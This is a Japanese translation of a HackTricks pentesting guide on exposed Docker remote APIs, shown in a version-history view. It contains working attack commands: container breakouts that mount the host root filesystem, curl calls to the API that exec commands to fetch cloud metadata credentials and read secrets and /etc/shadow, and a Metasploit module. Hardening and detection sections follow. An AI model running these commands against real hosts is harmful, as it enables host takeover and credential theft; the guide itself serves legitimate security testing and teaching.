hacktricks/network-services-pentesting/2375-pentesting-docker.md

336 lines
27 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# 2375, 2376 Dockerのペンテスト
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
## Dockerの基礎
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
### Dockerとは
2020-12-31 10:32:10 +00:00
2023-07-07 23:42:27 +00:00
Dockerプラットフォームは、連続的で高速なイベーションを実現する業界をリードするコンテナプラットフォームであり、組織がレガシーから次のものまで、どんなアプリケーションでもシームレスに構築し共有し、どこでも安全に実行できるようにします。
2020-12-31 10:32:10 +00:00
2023-07-07 23:42:27 +00:00
### Dockerの基本的なアーキテクチャ
2020-12-31 16:40:45 +00:00
2023-07-07 23:42:27 +00:00
この情報は[こちら](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)から取得しました。
2020-12-31 16:40:45 +00:00
2023-07-07 23:42:27 +00:00
* [containerd](http://containerd.io)は、コンテナのライフサイクル全体を管理できるコンテナランタイムです。イメージの転送/ストレージからコンテナの実行、監視、ネットワーキングまでを担当します。**containerdについての詳細は以下を参照してください。**
* container-shimはヘッドレスコンテナを処理します。つまり、runcがコンテナを初期化すると、コンテナをコンテナシムに渡して中間人として機能します。
* [runc](http://runc.io)は、OCI仕様に準拠した軽量なユニバーサルランタイムコンテナです。**runcは、OCI仕様に従ってコンテナを生成および実行するためにcontainerdによって使用されます**。また、libcontainerの再パッケージングでもあります。
* [grpc](http://www.grpc.io)は、containerdとdocker-engineの間の通信に使用されます。
* [OCI](https://www.opencontainers.org)は、ランタイムとイメージのためのOCI仕様を維持しています。現在のDockerのバージョンはOCIイメージとランタイムの仕様をサポートしています。
2020-12-31 16:40:45 +00:00
![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
2023-07-07 23:42:27 +00:00
### 基本的なコマンド
2020-12-31 10:32:10 +00:00
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
2021-01-03 12:04:12 +00:00
docker save -o ubuntu.tar <image> #Export an image
2020-12-31 10:32:10 +00:00
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
2022-05-01 13:25:53 +00:00
### Containerd
2020-12-31 10:32:10 +00:00
2023-07-07 23:42:27 +00:00
Containerdは、DockerやKubernetesだけでなく、Linux、Windows、Solaris、その他のOS上でコンテナを実行するために、システムコールやOS固有の機能を抽象化することを望む他のコンテナプラットフォームでも使用できるように設計されました。これらのユーザーを考慮して、containerdには必要なものだけが含まれており、不要なものは含まれていません。現実的にはこれは不可能ですが、少なくともそれを目指しています。ネットワーキングなどの機能はcontainerdの範囲外です。その理由は、分散システムを構築する際にネットワーキングが非常に重要な要素であるためです。SDNやサービスディスカバリの現在、ネットワーキングはLinux上のnetlink呼び出しを抽象化する以上にプラットフォーム固有のものです。
2020-12-31 10:32:10 +00:00
2023-07-07 23:42:27 +00:00
なお、DockerはContainerdを使用していますが、ContainerdはDockerのネットワーク管理機能を持っていないため、Containerd単体ではDockerスワームを作成することはできません。
2020-12-31 10:32:10 +00:00
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
2023-07-07 23:42:27 +00:00
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
2020-12-31 10:32:10 +00:00
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
2022-05-01 13:25:53 +00:00
### Podman
2020-12-31 15:36:23 +00:00
2023-07-07 23:42:27 +00:00
**情報** [**ここから**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
2020-12-31 15:36:23 +00:00
2023-07-07 23:42:27 +00:00
Podmanは、オープンソースでOCIOpen Container Initiativeに準拠したコンテナエンジンです。Red Hatによって開発され、Dockerとは異なるいくつかの主な違いがあります。例えば、デーモンレスのアーキテクチャとルートレスコンテナのサポートです。基本的には、**両方のツールは同じことを行います: イメージとコンテナの管理**。Podmanの目標の1つは、Docker互換のAPIを持つことです。そのため、Docker CLIのほとんどのCLIコマンドラインインターフェースコマンドは、Podmanでも利用できます。
2020-12-31 15:36:23 +00:00
2023-07-07 23:42:27 +00:00
Podmanエコシステムには、BuildahとSkopeoという2つの他のツールがあります。Buildahは、コンテナイメージのビルドに使用されるCLIツールであり、Skopeoは、プッシュ、プル、またはインスペクトなどのイメージ操作を実行するCLIツールです。これらのツールとPodmanの関係についての詳細は、[GitHubをご覧ください](https://github.com/containers/buildah/tree/master/docs/containertools)。
2020-12-31 15:36:23 +00:00
2023-07-07 23:42:27 +00:00
**主な違い**
2020-12-31 15:36:23 +00:00
2023-07-07 23:42:27 +00:00
**DockerとPodmanの最大の違いは、アーキテクチャです**。**Docker**は**クライアントサーバーアーキテクチャ**で動作し、**Podman**は**デーモンレスアーキテクチャ**で動作します。しかし、それはどういう意味でしょうか?**Docker**を使用する場合、Docker CLIを使用する必要があり、Docker CLIは**バックグラウンドデーモン**Dockerデーモンと通信します。メインのロジックはデーモンにあり、イメージをビルドし、コンテナを実行します。この**デーモンはルート権限で実行されます**。一方、**Podman**のアーキテクチャでは、**コンテナを開始するユーザーの特権でコンテナが実行されます**fork/exec。このユーザーにはルート権限は必要ありません。**Podmanはデーモンレスアーキテクチャを持つため、Podmanを実行している各ユーザーは自分自身のコンテナしか見ることができず、変更することもできません**。CLIツールが通信する共通のデーモンはありません。
2020-12-31 15:36:23 +00:00
2023-07-07 23:42:27 +00:00
Podmanにはデーモンがないため、バックグラウンドでコンテナを実行する方法が必要です。そのため、systemdとの統合を提供しており、systemdユニットを介してコンテナを制御できます。Podmanのバージョンによっては、既存のコンテナ用のユニットを生成したり、システムに存在しない場合にコンテナを作成できるユニットを生成したりすることができます。systemdとのもう1つの統合モデルでは、systemdをコンテナ内で実行できます。デフォルトでは、Dockerはデーモンプロセスを制御するためにsystemdを使用します。
2020-12-31 15:36:23 +00:00
2023-07-07 23:42:27 +00:00
2つ目の主な違いは、コンテナの実行方法です。**Podman**では、**コンテナはデーモンではなくユーザーの特権で実行されます**。この時点で、ルートレスコンテナの概念が登場します。つまり、コンテナはルート権限なしで起動できます。ルートレスコンテナは、ルート権限を持つコンテナと比べて非常に優れています(お察しの通り)。これにより、攻撃者がコンテナをキャプチャして脱出できた場合でも、この攻撃者はホスト上の通常のユーザーです。ユーザーによって開始されたコンテナは、ユーザー自体よりも多くの特権や機能を持つことはありません。これにより、自然な保護層が追加されます。
2020-12-31 15:36:23 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
PodmanはDockerと同じAPIをサポートすることを目指しているため、dockerと同じコマンドをpodmanでも使用することができます。例えば:
2020-12-31 15:36:23 +00:00
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
2023-07-07 23:42:27 +00:00
## 基本情報
2020-12-15 09:18:43 +00:00
2023-07-07 23:42:27 +00:00
リモートAPIは、有効になっている場合にはデフォルトでポート2375で実行されます。デフォルトでは認証が必要なく、攻撃者は特権のあるDockerコンテナを起動することができます。リモートAPIを使用することで、ホスト/(ルートディレクトリ)をコンテナにアタッチし、ホスト環境のファイルを読み書きすることができます。
2020-12-15 09:18:43 +00:00
2023-07-07 23:42:27 +00:00
**デフォルトポート:** 2375
```
2020-12-15 09:18:43 +00:00
PORT STATE SERVICE
2375/tcp open docker
```
2023-07-07 23:42:27 +00:00
## 列挙
2020-12-15 09:18:43 +00:00
2023-07-07 23:42:27 +00:00
### 手動
2020-12-31 16:14:52 +00:00
2023-07-07 23:42:27 +00:00
Docker APIを列挙するためには、次の例のように`docker`コマンドまたは`curl`を使用できます。
2020-12-31 16:14:52 +00:00
```bash
#Using curl
2020-12-31 16:14:52 +00:00
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
2023-07-07 23:42:27 +00:00
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
2023-07-07 23:42:27 +00:00
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
2020-12-31 16:14:52 +00:00
```
2023-07-07 23:42:27 +00:00
もし`docker`コマンドで**リモートのDocker APIに接続**できる場合、サービスとのやり取りには[**以前コメントされた**dockerコマンド](2375-pentesting-docker.md#basic-commands)のいずれかを**実行**することができます。
2020-12-31 16:14:52 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
`export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**使用しない**ようにすることもできます。
{% endhint %}
2023-07-07 23:42:27 +00:00
#### 迅速な特権エスカレーション
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
2022-05-01 13:25:53 +00:00
#### Curl
2020-12-31 16:14:52 +00:00
2023-07-07 23:42:27 +00:00
時々、**TLS**エンドポイントの**2376**が利用可能になっていることがあります。私はdockerクライアントで接続することができませんでしたが、curlを使用してdocker APIに問題なくアクセスできます。
2020-12-31 16:14:52 +00:00
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
2023-07-07 23:42:27 +00:00
もし詳細情報が必要な場合は、コマンドをコピーした元の場所で詳細情報を入手できます:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
2020-12-31 16:14:52 +00:00
2023-07-07 23:42:27 +00:00
### 自動化
2020-12-15 09:18:43 +00:00
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
2023-07-07 23:42:27 +00:00
## Compromising侵害
2020-12-15 09:18:43 +00:00
2023-07-07 23:42:27 +00:00
以下のページでは、**Dockerコンテナからの脱出方法**を見つけることができます:
2020-12-31 15:47:59 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
2020-12-31 15:47:59 +00:00
2023-07-07 23:42:27 +00:00
これを悪用することで、コンテナから脱出し、リモートマシンを侵害することができます:
2020-12-15 09:18:43 +00:00
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
2023-07-07 23:42:27 +00:00
## 特権昇格
2020-12-31 16:16:16 +00:00
2023-07-07 23:42:27 +00:00
もしDockerを使用しているホスト内にいる場合、特権昇格を試みるために[**この情報を読んでください**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
2021-04-28 23:33:12 +00:00
2023-07-07 23:42:27 +00:00
## 実行中のDockerコンテナ内の秘密の発見
2021-04-28 23:33:12 +00:00
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
2023-07-07 23:42:27 +00:00
秘密情報を探すために、**env**(環境変数セクション)をチェックしてみてください。以下のものが見つかるかもしれません:
2021-04-28 23:33:12 +00:00
2023-07-07 23:42:27 +00:00
* パスワード。
* IPアドレス。
* ポート番号。
* パス。
* その他...。
2021-04-28 23:33:12 +00:00
2023-07-07 23:42:27 +00:00
ファイルを抽出したい場合は、以下の手順を実行します:
2021-04-28 23:33:12 +00:00
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
2023-07-07 23:42:27 +00:00
## Dockerのセキュリティ強化
2021-04-28 23:33:12 +00:00
2023-07-07 23:42:27 +00:00
### Dockerのインストールと使用のセキュリティ強化
2021-01-04 12:13:07 +00:00
2023-07-07 23:42:27 +00:00
* [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)というツールを使用して、現在のDockerのインストールを調査することができます。
* `./docker-bench-security.sh`
* [https://github.com/kost/dockscan](https://github.com/kost/dockscan)というツールを使用して、現在のDockerのインストールを調査することができます。
* `dockscan -v unix:///var/run/docker.sock`
* [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)というツールを使用して、異なるセキュリティオプションでコンテナを実行した場合のコンテナの特権を確認することができます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るために役立ちます。
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
2021-01-04 12:13:07 +00:00
2023-07-07 23:42:27 +00:00
### Dockerイメージのセキュリティ強化
2021-01-04 12:13:07 +00:00
2023-07-07 23:42:27 +00:00
* [https://github.com/quay/clair](https://github.com/quay/clair)のDockerイメージを使用して、他のDockerイメージをスキャンし、脆弱性を検出することができます。
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
2021-01-04 12:13:07 +00:00
2023-07-07 23:42:27 +00:00
### Dockerfileのセキュリティ強化
2023-07-07 23:42:27 +00:00
* [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。各設定ミスにはIDが割り当てられます。[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)でそれぞれの修正方法を見つけることができます。
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>)
2023-07-07 23:42:27 +00:00
* [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>)
2023-07-07 23:42:27 +00:00
* [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>)
2023-07-07 23:42:27 +00:00
* [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>)
2023-07-07 23:42:27 +00:00
### 不審なアクティビティのログ記録
2021-01-04 12:13:07 +00:00
2023-07-07 23:42:27 +00:00
* [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)というツールを使用して、実行中のコンテナで不審な動作を検出することができます。
* 次のチャンクでは、Falcoがカーネルモジュールをコンパイルして挿入する方法、その後ルールをロードして不審なアクティビティを記録する方法が示されています。この場合、特権コンテナが2つ開始され、そのうちの1つがセンシティブなマウントを持っていることが検出され、数秒後にはコンテナ内でシェルが開かれたことが検出されました。
```
2021-01-04 12:13:07 +00:00
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
2023-07-07 23:42:27 +00:00
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
2021-01-04 12:13:07 +00:00
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
2023-07-07 23:42:27 +00:00
### Dockerの監視
2021-01-04 12:13:07 +00:00
2023-07-07 23:42:27 +00:00
Dockerを監視するために、auditdを使用することができます。
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>